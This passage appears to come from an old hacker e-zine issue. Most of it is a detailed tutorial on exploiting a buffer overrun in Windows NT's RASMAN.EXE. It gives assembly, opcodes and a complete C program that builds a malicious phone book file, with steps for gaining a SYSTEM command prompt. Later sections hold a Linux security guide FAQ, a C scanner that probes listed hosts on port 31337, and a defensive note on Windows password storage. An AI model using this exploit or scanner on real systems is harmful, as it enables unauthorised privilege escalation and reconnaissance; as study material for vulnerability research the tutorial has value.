choosing getting the program to do something it would not normally do.
You do this by pointing the EIP back into the buffer which you load
with your own opcodes which are then executed. This begs the question
, "Why would someone want to do this?"
Windows NT, like UNIX systems, require a user to log into the system.
Some users are very powerful, such as the Administrator and others are
just your average normal user that aren't as powerful. If a normal
user wanted to become equivalent to the Administrator and thus just as
powerful with almost full control of the system they could exploit a
buffer overrun to attain this. The problem is the buffer overrun needs
to be in a process that has enough power and privileges to be able to
make them an Administrator so there is no point in buffer overruning a
process that they, the user themselves, have started. They need to
buffer overrun a process started by the system and then get the
process to execute their own arbitary code. The system account is very
powerful, and if you can get a system process to do something, such as
open a Command Prompt, then it will run with system privileges. In
Windows NT, if a process starts a new child process then the child
process normally inherits the access token of the parent process,
normally because some processes can be started using the Win32
CreateProcessAsUser ( ) function that will start the new process under
the security context of another user and thus the new process will
have a different access token than the parent process. An Access Token
is like a set of keys - they denote a user's rights and privileges
that determine what they can and cannot do to the machine. An example
of this is screen savers. The winlogon.exe system process is
responsible for starting a user's screen saver. As oppossed to runing
the screen saver in the security context of the system winlogon uses
CreateProcessAsUser ( ) to start the screen saver in the security
context of the currently logged on user. I digress - back to buffer
overruns. In this case study we'll look at the buffer overrun in
RASMAN.EXE, a system process, and get it to open a Windows NT Command
Prompt. This Command Prompt will have the access token of the system
account and so will any other processes started from it. But first a
bit more on an NT process' virtual memory layout.
A process embodies many things such as, amongst others, a running
program, one or more threads of execution, the process' virtual
address space and the dynamic link libraries (DLLs) the program uses.
The process has 4 GB of virtual address space to use. Half of this is,
from address 0x00000000 to 0x7FFFFFFF, private address space where the
program, its DLLs and stack (or stacks in the case of a multihthreaded
program) are found and the other half, address 0x80000000 to
0xFFFFFFFF is the system address space where such things as
NTOSKRNL.EXE and the HAL are loaded. As a side note, this default
behaviour can be changed as of service pack three - you can specify a
switch in the boot.ini - /3GB - that will assign 3 GB as private
address space and 1 GB as system address space. This is to boost the
performance of programs, such as databases, the require large amounts
of memory.
When a program is run NT creates a new process. It loads the program's
instructions and the DLLs the program uses into the private address
space and marks the pages it uses as read-only. Any attempt to modify
pages in memory marked as read only will cause an Access Violation.
The first thread is started and a stack is initialised.
The Stack
What's the simplest way to describe a stack? Try this: Imagine a
carpenter. He has tools, materials and instructions. To be able to
make something though they need a workbench. The stack is similar to
this workbench. It is a place where he can use his tools to shape and
model his raw materials. He can put something down on the workbench,
say waiting for the glue to dry on two bits of wood and do something
else. When that task is complete he can come back to his two bits of
wood and continue with that. The workbench is where most of the work
is done.
So too, in a process, the stack is where most things are done. It is a
writeable area of memory that dynamically shrinks and grows as is
needed or determined by the program's execution. When a programatic
task is started it'll place data on the stack, whether these be
strings, memory addresses, integers or whatever, then manipulate them
and when the task has completed it will return the stack to its
original state so that the next task can use it if it needs to.
Working in this way the process interacts with the stack using a
method known as Last In, First Out or LIFO.
There are two registers that are crucial to the stack's functionality
- they are used by the program to keep track of where data can be
found in memory. These two registers are the ESP and the EBP.
The ESP, or the Stack Pointer points to the top of the stack. The ESP
contains the memory address where the top of the stack can be found.
The ESP can be changed in a number of ways both indirectly and
directly.When something is PUSHed onto the stack the ESP increases
accordingly. When something is POPed off of the stack the ESP shrinks.
The PUSH and POP operations modify the ESP indirectly. But then you
can manipulate the ESP directly, with say an instruction of "SUB
esp,04h" which pushes the stack out by four bytes or one word. For
those that haven't yet been numbed into boardem, something may just
have irked: how is it that you SUBtract 4 from the ESP and yet the ESP
is pushed out? Well this is because the stack works backwards. The
bottom of the stack uses a memory address higher than the top of the
stack:
----------------0x12121212 Top of the stack
...
...
----------------0x121212FF Bottom of the stack
Here we have definitive proof that the fathers of modern computing
were indeed closet sadists or had shares in makers of paracetamol -
occasionally they throw in gems like this to make that headache that
bit more acute. When we say the stack increases in size the address
held in the ESP decreases. Conversly when the stack size decreases the
address held in the ESP increases. Reaching for the Asprin yet?
Our second stack related register is known as the EBP or the Base
Pointer. The EBP holds then memory address of the bottom of the stack
- more accurately it points to a base point in the stack that we can
use a reference point within a given programatic task. The EBP must
have meaning to a given task and to facilitate this before the task's
real business is started a setup procedure known as the "procedure
prologue" is first completed. What this does is, firstly, save the
current EBP by PUSHing it onto the stack. This is so that the
processor and program will know where to pick up from after the
currently executing task has completed. The ESP is then copied into
the EBP thus creating a new Base Pointer that the currently executing
task can use as a reference point irrespective of how the ESP changes
during the task's execution. Continuing with this let's say an 11
character string was placed onto the stack - our EBP remains the same
but the ESP has been pushed out by 12 bytes. Then say an address was
PUSHed onto the stack - our ESP is pushed out by another 4 bytes,
though our EBP still remains the same. Now let's say we needed to
reference the 11 byte string - we can do this by using our EBP: we
know the first byte of our string (the pointer to the string) is
twelve bytes away from the EBP so we can reference this string's
pointer by saying,"the address found at EBP minus 12". (Remember the
stack goes from a higher address to a lower address)
RASMAN and buffer overruns.
Finding the buffer overrun
The first thing you need to do to be able to exploit a buffer overrun
is to a) know about an existing one or b) find your own one. In the
case of RASMAN, the overrun was found by looking at the RAS functions
and the structures the used. Notice that some of the functions, such
as RasGetDialParams ( ), fill structures that contain characters
arrays, much like char name[31] character array in the C code above.
By playing around with rasphone.pbk file, the RAS Phone Book, where
dialing details, such as the phone number to be dialed, are stored,
you can root out these overruns. Make a phone book entry called
"Internet", which dials into your ISP, dial it, and downloaded your
mails. This is important as this adds to the Registry an entry for the
domain name of your mail server as an Autodial location. That is, if
you try to contact your mail server, from that point on, without being
dialed into the Internet, the Connection manager would kick in and
automatically dial for you. RASMAN is the process that handles this
functionality. Once you have done this change the telephone number to
a long string of As and then attempted to connect to your mail server,
say, by opening Outlook Express. This causes RASMAN to read in from
rasphone.pbk the telephone number to dial to be able to get to your
mail server. But instead of the real telephone number the long string
of As is read instead and fills a character array in the
RAS_DIAL_PARAMS structure which overflows causing an Access Violation
- at address 0x41414141. We've found a buffer overrun and, more
exciting, overwritten the EIP.
Finding where the EIP is overwritten
By experimenting with the length of the "telephone number" we find
that we overwrite the EIP with bytes 296,297,298 and 299 of our
string. (You'll find that, if you are actually following this, you'll
need to reboot the system after the overflow to be able to restart the
service, and you'll have to end tasks such as AthenaWindow and
msmin.exe.) Once we have found where we overwrite the EIP it is time
to get out the debugger - the debugging capabilities of Visual C++ are
very good. Attach to the RASMAN process and then get it to dial - or
attempt to at least. Wait for the access violation.
Analyze what's going on.
Once the access violation has occured we need to look at the stack and
the state of the CPU's registers. From this we can see that we also
overwrite the EBP, which will come in handy later on and that the
address of the first A of our "telephone number" is 0x015DF105. By
getting RASMAN to access violate a number of times we find that the
first A is always written to this address. This is the address we're
going to set the EIP to so that the processor will look at that
address for the next instrution to execute. We'll stuff the "telephone
number" full of our own opcodes that will get RASMAN to do what we
want it to do - our arbitary code. We then need to ask, "What do we
want it to do?".
Where do you want to go today? - What do you want to acheive?
The best thing to do, as we need to be at the console to get this to
work, is get RASMAN to open up a Command Prompt. From here we can run
any program we want with system privileges. The easiest way to get a
program to run a Command Prompt, or any other program for that matter
is to use the system ( ) function. When the system ( ) function is
called it looks at the value of the ComSpec environment variable,
normally "c:\winnt\system32\cmd.exe" on Windows NT and executes that
with a "/C" switch. The function passes cmd.exe a command to run and
the "/C" switch tells cmd.exe to exit after the command has finished
executing. If we pass "cmd.exe" as the command - system("cmd.exe"); -
this will cause the system function to open up cmd.exe with the "/C"
switch and execute cmd.exe - so we are running two instances of the
command interpreter - however the second one won't exit until we tell
it to ( and nor will the first until the second one has exited.)
Rather than the placing the opcodes that actually form the system ( )
function in our exploit string it would be easier to simply call it.
When you call a function you tell the program to go to a certain DLL
that contains the code for the function you are calling. The use of
DLLs means that programs can be smaller in size - rather than each
program containing the necessary code for each function used they can
call a shared DLL that does contain the code. DLLs are said to export
functions - that is the DLL provides an address where a function can
be found. The DLL also has a base address so the system knows where to
find that DLL. When a DLL is loaded into a process' address space it
will always be found at that base address and the functions it exports
can then be found at an entry point within the base. The system ( )
function is exported msvcrt.dll (the Microsoft Visual C++ Runtime
library) which has base address of 0x78000000 and system ( ) entry
point can be found at 000208C3 (in version 5.00.7303 of msvcrt.dll
anyway) meaning that the address of the system ( ) function is
0x780208C3. Hopefully msvcrt.dll will already be loaded into RASMAN's
address space - if it isn't we'll need to use LoadLibrary ( ) and
GetProcAddress ( ). Fortunately RASMAN does use msvcrt.dll and so it
is already in the process address space. This makes the job of
exploiting the buffer overrun very easy indeed - we'll simply build a
stack with our string of the command to run (cmd.exe) and and call it.
What makes it even better is that the address 0x780208C3 has no nulls
(00) in it. Nulls can really complicate issues.
To find out what the stack needs to look like when a normal program
calls system("cmd.exe"); we need to write one that does and debug it.
We'll need to get our arbitary code to build a duplicate image of the
stack as it appears in our program just before system ( ) is called.
Below is the source of our program. Compile and link it with
kernel32.lib then run and debug it.
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[8] = "cmd.exe";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
On debugging and examining the stack prior to calling system ( )
[(ProcAdd)(cmdbuf); in the above code] we see that starting from the
top of the stack we find the address of the "c" of cmd.exe, then the
address of where the system ( ) function can be found, the null
terminated cmd.exe string and a few other things that are too
important. So to emulate this we need the null terminated
"cmd.exe"string in the stack, then the address of the system function
and then the address which points to our "cmd.exe" string. Below is a
picture of what we need the stack to look like before calling system (
)
-------------------- ESP (Top of the Stack)
XX
--------------------
XX
--------------------
XX
--------------------
XX
--------------------
C3
--------------------
08
--------------------
02
--------------------
78
--------------------
63 c
--------------------
6D m
--------------------
64 d
--------------------
2E .
--------------------
65 e
--------------------
78 x
--------------------
65 e
--------------------
00
-------------------- EBP (Bottom of the stack)
where the top 4 XXs are the address of "c". We don't need to hardcode
this address into our exploit string because we can use the EBP as a
reference - remember it is the base pointer. Later on you'll see that
we load the address where the first byte of our cmd.exe string can be
found into a register using the EBP as a reference point.
Writing the Assembly.
This is what we need the stack to look like when we call system ( ).
How do we get it there? We have to build it ourselves with our opcodes
- we can't just put it in our exploit string because as you can see
there are nulls in it and we can't have nulls. Because we have to
build it this is where knowing at least a little assembly language
comes in handy. The first thing we need to do is set the ESP to an
address we can use for our stack. (Remember the ESP points to the top
of the stack.) To do this we use:
mov esp, ebp
This moves the EBP into the ESP - rember we overwrite the EBP as well
as the EIP which is really handy. We'll overwrite the EBP with an
address we know we can write to - we will use 0x015DF124. Consequently
the ESP, after we move the EBP into it, the top of the stack will be
found at 0x015DF124.
We then want to push EBP onto the stack. This is our return address.
push ebp
This has the effect of pushing the ESP down 4 bytes and so ESP is now
0x015DF120. After this we then want to move the ESP into the EBP:
mov ebp,esp
This completes our own procedure prologue. With this done we can go
about building the stack the way we want it to look
The next thing we need to do is get some nulls onto the stack. We need
some nulls because we need to have our cmd.exe string terminated with
a null. Even though the cmd.exe string isn't there yet it will be but
we have to do things in reverse order. Before we can push some nulls
onto the stack we need to make some. We do this by xoring a register
with itself- we'll use the EDI register.
xor edi,edi
This will set the EDI to 00000000 and then we push it onto the stack
using
push edi
This also has the added effect of pushing out our ESP to 0x015DF11C.
But "cmd.exe" is 7 bytes long and we only have room for 4 bytes so far
and don't forget we need a null tacked on the end of our string so we
need to push the ESP out another 4 bytes to give us a total of 8 bytes
of space between the ESP and the EBP. We could push the edi again, but
for varitey we'll just sub the ESP by 4.
sub esp,04h
Our ESP is now 0x015DF118 and our EBP is 0x015DF120. Our next job is
to get cmd.exe written to the stack. To do this we'll use the EBP as a
reference point and move 63, the hex value for a small "c" into the
address offset from the EBP minus 8.
mov byte ptr [ebp-08h],63h
We do the same for the "m", the "d", the ".", the first"e", the "x"
and the final "e".
mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr
[ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
Our stack now looks like this:
----------------------------------------------------- ESP
63 c
-----------------------------------------------------
6D m
-----------------------------------------------------
64 d
-----------------------------------------------------
2E .
-----------------------------------------------------
65 e
-----------------------------------------------------
78 x
-----------------------------------------------------
65 e
-----------------------------------------------------
00
----------------------------------------------------- EBP
All that we need to do now is put the address of system( ) onto the
stack and the pointer to our cmd.exe string on top of that - once that
is done we'll call the system ( ) function.
We know that the system( ) function is exported at address 0x780208C3
so we'll move this into a register and then push it onto the stack:
mov eax, 0x780208C3 push eax
We then want to put the address of the "c" of our "cmd.exe" string
onto the stack. We know that the "c" can be found eight bytes away
from our EBP so we'll load the address 8 bytes less than the EBP into
a register:
lea eax,[ebp-08h]
The EAX register now holds the address where our cmd.exe string
begins. We then want to push this onto the stack:
push eax
With this done our stack is built and we are ready to call system ( )
but we don't call it directly - again we use the indirection of using
our EBP as a reference point and call address found at EBP minus 12
(or 0C in hex):
call dword ptr [ebp-0ch]
Here is all our code strung together.
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
mov eax, 0x780208C3
push eax
lea eax,[ebp-08h]
push eax
call dword ptr [ebp-0ch]
The next thing to do is test this assembly to see if it works so we
need to write a program that uses the __asm ( ) function. The __asm (
) function takes Assembly language and incorporates it into a C
program. As we are calling system ( ) which is exported by msvcrt.dll
we'll need to load that- we use the LoadLibrary ( ) function to do
this - otherwise when run our code would fail:
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
mov eax, 0x780208C3
push eax
lea eax,[ebp-08h]
push eax
call dword ptr [ebp-0ch]
}
}
compile and link with kernel32.lib. When run this should start a new
instance of the Command Interperter, cmd.exe. There will be an access
violation however when you exit that instance in the program though -
we've messed around with the stack and haven't clean up after
ourselves.
That's it then - that's our arbritary code and all we need to do now
is put this into the rasphone.pbk file as our telephone number. Before
we can do that though, we need to get the op-codes for the above
assembly.
This is relatively easy - just debug the program you've just compiled
and get the opcodes from there. You should get "8B E5" for "mov
esp,ebp" and "55" for "push ebp" etc etc. Once we have all the opcodes
we need to put these in our "telephone number". But we can't type the
opcodes very easily in Notepad. The easiest thing to do is write
another program that creates a rasphone.pbk file with the telephone
number loaded with our arbitary code. Below is an example of such a
program with comments:
/* This program produces a rasphone.pbk file that will cause and exploit a buff
er overrun in */
/* RASMAN.EXE - it will drop the user into a Command Prompt started by the sys
tem. */
/* It operates by re-writing the EIP and pointing it back into our exploit stri
ng which calls */
/* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00
.7303) on */
/* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[1
09] to buffer[112]*/
/* in this code to suit your version. msvcrt.dll is already loaded in memory -
it is used by */
/* RASMAN.exe. Developed by David Litchfield (mnemonix@globalnet.co.uk )
*/
#include <stdio.h>
#include <windows.h>
int main (int argc, char *argv[])
{
FILE *fd;
int count=0;
char buffer[1024];
/* Make room for our stack so we are not overwriting anything we haven'
t */
/* already overwritten. Fill this space with nops */
while (count < 37)
{
buffer[count]=0x90;
count ++;
}
/* Our code starts at buffer[37] - we point our EIP to here @ address 0
x015DF126 */
/* We build our own little stack here */
/* mov esp,ebp */
buffer[37]=0x8B;
buffer[38]=0xE5;
/*push ebp*/
buffer[39]=0x55;
/* mov ebp,esp */
buffer[40]=0x8B;
buffer[41]=0xEC;
/* This completes our negotiation */
/* We need some nulls */
/* xor edi,edi */
buffer[42]=0x33;
buffer[43]=0xFF;
/* Now we begin placing stuff on our stack */
/* Ignore this NOP */
buffer[44]=0x90;
/*push edi */
buffer[45]=0x57;
/* sub esp,4 */
buffer[46]=0x83;
buffer[47]=0xEC;
buffer[48]=0x04;
/* When the system() function is called you ask it to start a program o
r command */
/* eg system("dir c:\\"); would give you a directory listing of the c d
rive */
/* The system () function spawns whatever is defined as the COMSPEC en
vironment */
/* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" par
ameter - in */
/* other words after running the command the cmd.exe process will exit.
However, running */
/* system ("cmd.exe") will cause the cmd.exe launched by the system fun
ction to spawn */
/* another command prompt - one which won't go away on us. This is what
we're going to do here*/
/* write c of cmd.exe to (EBP - 8) which happens to be the ESP */
/* mov byte ptr [ebp-08h],63h */
buffer[49]=0xC6;
buffer[50]=0x45;
buffer[51]=0xF8;
buffer[52]=0x63;
/* write the m to (EBP-7)*/
/* mov byte ptr [ebp-07h],6Dh */
buffer[53]=0xC6;
buffer[54]=0x45;
buffer[55]=0xF9;
buffer[56]=0x6D;
/* write the d to (EBP-6)*/
/* mov byte ptr [ebp-06h],64h */
buffer[57]=0xC6;
buffer[58]=0x45;
buffer[59]=0xFA;
buffer[60]=0x64;
/* write the . to (EBP-5)*/
/* mov byte ptr [ebp-05h],2Eh */
buffer[61]=0xC6;
buffer[62]=0x45;
buffer[63]=0xFB;
buffer[64]=0x2E;
/* write the first e to (EBP-4)*/
/* mov byte ptr [ebp-04h],65h */
buffer[65]=0xC6;
buffer[66]=0x45;
buffer[67]=0xFC;
buffer[68]=0x65;
/* write the x to (EBP-3)*/
/* mov byte ptr [ebp-03h],78h */
buffer[69]=0xC6;
buffer[70]=0x45;
buffer[71]=0xFD;
buffer[72]=0x78;
/*write the second e to (EBP-2)*/
/* mov byte ptr [ebp-02h],65h */
buffer[73]=0xC6;
buffer[74]=0x45;
buffer[75]=0xFE;
buffer[76]=0x65;
/* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x78
0208C3 */
/* Use QuickView to get the entry point for system() if you have a diff
erent */
/* version of msvcrt.dll and change these bytes accordingly */
/* mov eax, 0x780208C3 */
buffer[77]=0xB8;
buffer[78]=0xC3;
buffer[79]=0x08;
buffer[80]=0x02;
buffer[81]=0x78;
/* Push this onto the stack */
/* push eax */
buffer[82]=0x50;
/* now we load the address of our pointer to the cmd.exe string into EA
X */
/* lea eax,[ebp-08h]*/
buffer[83]=0x8D;
buffer[84]=0x45;
buffer[85]=0xF8;
/* and then push it onto the stack */
/*push eax*/
buffer[86]=0x50;
/* now we call our system () function - all going well a command prompt
will */
/* be started, the parent process being rasman.exe
*/
/*call dword ptr [ebp-0Ch] */
buffer[87]=0xFF;
buffer[88]=0x55;
buffer[89]=0xF4;
/* fill to our EBP with nops */
count = 90;
while (count < 291)
{
buffer[count]=0x90;
count ++;
}
/* Re-write EBP */
buffer[291]=0x24;
buffer[292]=0xF1;
buffer[293]=0x5D;
buffer[294]=0x01;
/* Re-write EIP */
buffer[295]=0x26;
buffer[296]=0xF1;
buffer[297]=0x5D;
buffer[298]=0x01;
buffer[299]=0x00;
buffer[300]=0x00;
/* Print on the screen our exploit string */
printf("%s", buffer);
/* Open and create a file called rasphone.pbk */
fd = fopen("rasphone.pbk", "w");
if(fd == NULL)
{
printf("Operation failed\n");
return 0;
}
else
{
fprintf(fd,"[Internet]\n");
fprintf(fd,"Phone Number=");
fprintf(fd,"%s",buffer);
fprintf(fd,"\n");
}
return 0;
}
When compiled and run this program will create a rasphone.pbk file
with one entry called Internet and a phone number loaded with our
arbitary code. When RASMAN.EXE opens this file and it uses
RasGetDialParams ( ) to get the relevant information and assigns it to
a RAS_DIAL_PARAMS structure which contains the character arrays. As
you'll have guessed we're overflowing the one that holds the telephone
number.
Now to test it all.
Quite often when trying to exploit buffer overruns you don't get it
right the first time - usually due to an oversight or something. The
code in this document has been tested on NT Server 4 with SP 3, NT
Server 4 with SP 4 and NT Workstation SP 3 all running on a Pentium
processor and it works - that's not to say that it will run on your
machine though. There could be a number of reasons why it might not,
but that is up to you to find out. So any way, let's test it:
To be able to get this to work take the following steps:
1) Make a backup copy of your real rasphone.pbk file and then delete
the original. The NTFS permissions on this file by default give
everybody the Change permission so there shouldn't be a problem with
this.
2) Run rasphone (click on Start -> Run -> type rasphone -> OK). You
should get a message saying that the phone book is empty and click OK
to create a new one.
3) Click OK and make a new entry calling it "Internet". Put in the
relevant information needed to be able to dial into your ISP. Once the
entry is complete dial it.
4) Once connected open Outlook Express and download your e-mails. The
reason for doing this is because this will create a Registry entry for
your mail server's domain name and associate it as an autodialable
address. If Outlook Express' connection is dial up change it to a LAN
connection - this'll be under the mail account's properties.
5) Hangup and close Outlook Express.
6) Copy the delete the new rasphone.pbk and replace it with your one
made from the above code.
7) Open Outlook Express.
Because your not connected to the Internet RASMAN should automatically
dial for you, read in from the Registry the autodail information then
open rasphone.pbk, fill its buffers and overflow. Within about eight
seconds or so a Command Prompt window will open. This Command Prompt
has SYSTEM privileges.
That's it - we've exploited a buffer overrun and executed our arbitary
code.
------------------------------
<!-- 3.00 - Misc //-->
3.01 --=\\Admin FAQ\\=--
1.0 General questions
1.1 What is the LASG?
It is a security guide aimed at Linux amdinistrators and users.
1.2 Why did you create the LASG?
There is currently no generic Linux security documentation apart from the Security
HOWTO which isn't terribly comprehensive (it does give a good overview however).
Most Linux distributions come with some security documentation but it usually
doesn't amount to more then 10 pages, and is very low level (use good passwords,
etc.). So I decided to write such a document, and give it away for free so it
would reach the largest possible audience (0.0.9 was downloaded over 25,000 times
in the first 24 hours).
1.3 Why the restrictive license on the LASG?
Because I don't want modified versions running (i.e. I want to maintain some
revision sanity) around that may be incorrect (unintentionally or intentionally),
it is also a document, not a piece of software, so it is subject to somewhat
different laws of development/progression. If you don't like it, don't read it.
1.4 Why can't I get it as HTML/text/postscript/etc.?
Because of reasons stated in 1.3, and because generating different formats would
require a lot of overhead for my time, and the output can vary significantly (in
the case of HTML or txt), as well post script cannot be read easily in Windows,
and HTML will end up as an ugly mess of files once I start adding illustrations
and pictures. PDF is the only language that allows me to format it nicely, and
have it readable under as many OS's as possible. You can get the adobe acrobat
viewer at:
http://www.adobe.com/prodindex/acrobat/readstep.html
And patches for xpdf are available from:
http://www.foolabs.com/xpdf/
1.5 Why is the head site https:// only?
Practice what you preach. The mirror sites are of course not secure, this is
something I am willing to live with since I don't have enough bandwidth to
distribute the LASG from my site.
1.6 Where can I get the LASG?
Current mirror sites as of 0.0.98 are:
USA - http://www.freek.com/lasg/
USA - http://www.vadept.com/lasg/
USA - http://jezebel.rath.peachnet.edu/lasg/
USA - http://eeyore.cae.wisc.edu/lasg/
Germany - http://ftp.gwdg.de/lasg/
Denmark- http://sunsite.auc.dk/lasg/
Greece - http://linux.forthnet.gr/lasg/
Slovakia - http://www.sadman.sk/lasg/
Slovenia - http://www.camtp.uni-mb.si/lasg/
South Africa - http://www.lantic.net/lasg/
A current list is also available at: https://www.seifried.org/lasg/.
A mailing list is available, send a blank meessage with the subject "subscribe"
(no quotes) to lasg-announce-request@seifried.org, and you will receieve
announcements of new version of the guide.
1.7 Will there be translations of the LASG / Can I translate the LASG?
There won't be any translations for a while yet, the guide is changing to much to
make it worthwhile, same goes for creating translations, please hold off until the
LASG stabilizes. Of course I can't stop you, but any translations will be rendered
obsolete rather quickly.
1.8 Can I contribute to the LASG?
Yes, if you know of a software product or package I haven't listed please send me
a URL, I hate searching the www. As for contributions of actuall writing and
sections please do not send any as there is a lot of written work 'behind' the
scenes that has not yet been folded into the LASG, and I hate to have people
wasting their effort on something that has probably been done. The biggest source
of help I find is good criticism, if the guide doesn't explain something clearly,
or at all please tell me so I can fix or add it in. I am also not sure if I can
accept sections of writing due to copyright concerns and legal liability. I would
much prefer for now if the LASG is clearly the work of one person. If you have
created a specific security document however and feel it is of value, send me the
URL and I will list it gladly.
1.9 Will the LASG continue to be free?
Definately yes. There is the possibility it will be published, but as any deal I
would make to publish this guide (electronically, or physically as a book or CD) I
will require that the LASG also be available online in a reasonable format free of
charge for non commercial use (as it is now).
2.0 Mirroring the Guide
2.1 What software do I need?
You will need rsync, available with most distributions either as a core package or
a contrib package. If you do not have it please download it from:
http://rsync.samba.org/. Rsync runs on any UNIX platform.
2.2 How do I mirror it?
The following command line will grab the contents of the lasg directory on my
server and keep the local directory (/path/to/the/lasg/) exactly in synchron-
ization with it. Running this command from a crontab once a day (minimum) or twice
a day (maximum) is ideal.
rsync -avz --delete ftp.seifried.org::lasg /path/to/the/lasg/
2.3 URL requirements
The url that where the LASG will reside must be in the form:
http://blah.blah.blah/lasg/
I don't really care about the domain name, domain.nu or smelly.sock.seifried.org
(I would prefer if it were reasonably short). I do not want ftp mirrors at this
time as the guide is relatively small.
2.4 Mirroring requirements
You must grab the guide at least once a day, and the site hosting it must be up
24/7, and have a T1 or greater (the LASG is almost 300k and still growing). You
will need to send me the IP address of the machine so that I can add it to the
access list, note this doesn't need to be the same machine actually hosting it (in
case you have some strange network setup).
3.0 Viewing secured webpages (https://)
3.1 Netscape problems and fixes
Netscape navigator/communicator version 4.0 and beyond will view secure web pages
without any problems. Version prior to 4.0 have an older (invalid) set of
certificates installed that are no longer in use by Thawte. To install the new
Thawte certificates please go to this page, it descrives in detail how to install
the new certificates. Netscape navigator/communicator prior to version 3.0 will
probably not be able to view the site correctly, and in any case you should
upgrade since there are significant problems with them.
3.2 Lynx problems and fixes
Most Linux distributions ship with Lynx, unfortunately very few (almost none) ship
with an SSL enabled version of Lynx. You will not be able to view any secure
webpages until your upgrade Lynx. SSL enabled Lynx is available from
ftp.replay.com as source, rpm packages and so on. Once you have installed it you
will be able to view secure web sites.
3.3 MSIE problems and fixes
Microsoft Internet Explorer version 4.0 and beyond (with the exception of the Mac
version) will view secure web pages without any problems. Versions prior to 4.0
will have an older (invalid) set of certificates installed that are no longer in
use by Thawte. To install the new Thawte certificates please go to this page, it
descrives in detail how to install the new certificates. If you are running MSIE
4.0 for the Mac please go to this page as it will describe how to remove the old
(invalid) set of certificates. Versions prior to 3.0 will probably not be able to
view the site correctly, and in any case you should upgrade since there are
significant problems with them.
------------------------------
3.02 --=\\csscan.c.txt\\=--
/*
csscan.c
by, EazyMoney
how to work thi$: csscan <input> <port number{body}gt; [output]
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
void usage(char *);
void printheader(void);
void testhost(char *);
FILE *of;
int main(int argc, char *argv[])
{
FILE *fp;
char host[1024];
int c;
c = 0;
printf("\npscan: csscan.c by EazyMoney\n");
printf("-------------------------------------\n\n");
if(argc < 2){
usage(argv[0]);
return 0;
}
if(argc == 3){
of = fopen(argv[2], "w");
printheader();
} else {
of = stdout; /* werd and $tuff
*/
}
if((fp = fopen(argv[1], "r")) == NULL){
printf("error: input does not exist make a damn input\n");
return 0;
}
printf("$canning port$");
while(fscanf(fp, "%s", &host) != EOF){
testhost(host);
}
printf("done $canning\n");
return 0;
}
void usage(char *progname)
{
printf("usage: %s <input> [output]\n", progname);
printf("\n\ninput: a li$t of host$/ip'$ to $can\n");
printf("output: $ave$ $can$\n\n\n");
}
void printheader(void)
{
fprintf(of, "port$ open\n");
fprintf(of, "----------------------\n\n");
}
void testhost(char *target)
{
struct sockaddr_in server;
int sockfd, i;
char version[256];
struct hostent *hp;
printf("%s\n", target);
if((hp=(struct hostent *)gethostbyname(target)) == NULL) {
fprintf(of, "%s: put in a right ho$t dumb a$\n", target);
return;
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(31337);
memcpy((char *)&server.sin_addr, (char *)hp->h_addr, hp->h_length);
if((connect(sockfd, (struct sockaddr *)&server, sizeof(server))) == -1){
fprintf(of, "%s: connect error\n");
return;
}
else
{
fprintf(of, "%s: open", target);
}
close(sockfd);
return;
}
------------------------------
3.03 --=\\Secure Storage in Windows\\=--
Not long ago we discussed why you still see messages that describe
yet another application that stores passwords in an insecure manner,
in particular under Windows. The bottom line was that there are two
common cases.
The first one is where an application needs to authenticate a user
again the password. In many of these cases the plaintext password
can be replaced by a one way hash with little or no loss of functionality.
The second case is that where an application requires the password
to authenticate itself against a service on behalf of the user but
without prompting them for the password after the first time.
Several people mentioned that an application or agent could be created
that can store securely these secrets for many applications. The user
would then only need to authenticate itself once again this application
or agent to allow any other applications running under its id to request
their secrets. Although this system does not stop rouge applications
(e.g. trojans, BackOrifice) from stealing the secrets, it does stop a whole
range of vulnerabilities from doing so (e.g. javascript file stealing
vulnerabilities, world-readable shares, etc).
The Win32 API provides such service. Although in the past it was found
that its encryption was rather weak Microsoft claims to have fixed it,
no one else has claimed otherwise, and its better than nothing.
(References: http://www.netsys.com/firewalls/firewalls-9512/0442.html
http://www.geek-girl.com/bugtraq/1995_4/0138.html ).
So here is a reminder to Windows application programs that you can use
WNetCachePassword and WNetGetCachedPassword, which in some documentation
MS calls the Master Password API.
Aleph One / aleph1@underground.org
http://underground.org/
------------------------------
Please visit:
http://www.thepoison.org/popup.html and click on our sponsor(s) please!
Please go there and just take 2 seconds to click there because we have to pay the bills
somehow.
_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
_| _|
_| _| _| _| _| _| _| _|
_| _| _| _|_| _| _|_| _| _|
_| _|_|_|_| _| _| _| _| _| _| _|
_| _| _| _| _|_| _| _|_| _|
_| _| _| _| _| _| _| _|
_| Antidote is an HNN Affiliate _|
_| http://www.hackernews.com _|
_| _|
